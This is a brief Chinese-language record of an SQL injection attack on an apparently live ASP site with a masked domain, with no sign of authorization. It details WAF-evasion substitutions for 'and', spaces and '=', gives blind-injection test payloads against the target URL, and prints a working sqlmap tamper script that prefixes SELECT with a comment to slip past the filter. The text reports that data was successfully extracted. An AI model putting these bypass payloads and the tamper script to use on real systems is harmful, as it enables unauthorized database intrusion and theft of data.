记录一次sql注入绕过
目标:http://www.xxxxx.net/temp.asp?ID=10359
通过 and 1=1 and 1=2 测试发现存在拦截
首先想到 and 空格 = 可能存在触发规则
一般遇到这种情况 过滤 and 一般会考虑转换为 &&
空格过滤转换为 %0a 、+ 或者 /**/
= 转换为 like greatest between 这些在sqlmap 都有相应的tamper
这里经过测试发现就是过滤了 空格,转换为 /**/ 就不拦截了
由于不能进行union 注入 和报错 这里只能进行盲注
然后使用 sqlmap space2comment 进行注入的时候 sqlmap出不了数据
分析过滤了什么关键字
提交
http://www.xxxxx.net/temp.asp?ID=10359/**/and/**/1=(select 1) 返回
初步判断过滤了select
测试发现将select 转换为 /**/select 绕过过滤
所以要让sqlmap 能出数据就要将注入语句里面的 SELECT 全部转换为 /**/SELECT
#!/usr/bin/env python def tamper(payload, **kwargs): retVal = payload if 'SELECT' in retVal: retVal = retVal.replace('SELECT','/**/SELECT') return retVal
命名为 select2select 放在sqlmap tamper 目录下面
成功注入出数据
去burp 查看语句